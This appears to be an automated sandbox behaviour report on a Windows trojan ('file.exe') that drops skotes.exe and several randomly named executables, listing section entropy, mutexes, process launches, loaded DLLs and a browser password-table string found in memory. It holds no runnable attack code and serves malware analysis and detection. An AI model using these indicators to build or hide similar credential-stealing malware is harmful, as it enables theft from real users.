Source: 324fcfa2b3.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe1.6.dr	Static PE information: Section: biyvevdc ZLIB complexity 0.9944533911839863
Source: c6628554c1.exe.6.dr	Static PE information: Section: biyvevdc ZLIB complexity 0.9944533911839863
Source: random[1].exe2.6.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: random[1].exe2.6.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: ba94e3db0d.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: ba94e3db0d.exe.6.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: random[2].exe.6.dr	Static PE information: Section: zicceeoj ZLIB complexity 0.9945489857763453
Source: ef4aa82a7c.exe.6.dr	Static PE information: Section: zicceeoj ZLIB complexity 0.9945489857763453

Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.SetAccessControl
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.AddAccessRule
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.SetAccessControl
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.AddAccessRule
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.SetAccessControl
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@43/23@16/11

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8124:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: f2de4e119f.exe, 00000007.00000003.2882508246.00000000052C4000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2883042815.00000000052A7000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962766329.00000000032B6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2963019577.0000000003299000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3157986631.00000000057EB000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3157205391.0000000005806000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	Virustotal: Detection: 54%
Source: file.exe	ReversingLabs: Detection: 47%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe "C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe "C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe"
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Process created: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe "C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe "C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe "C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f2de4e119f.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1920,i,2687393633107750468,17643821193662519934,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe "C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe"
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f2de4e119f.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1976,i,3664678629487095978,10251787719935980013,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe "C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe "C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe "C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe "C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe "C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe "C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe "C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f2de4e119f.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f2de4e119f.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Process created: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe "C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1920,i,2687393633107750468,17643821193662519934,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1976,i,3664678629487095978,10251787719935980013,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
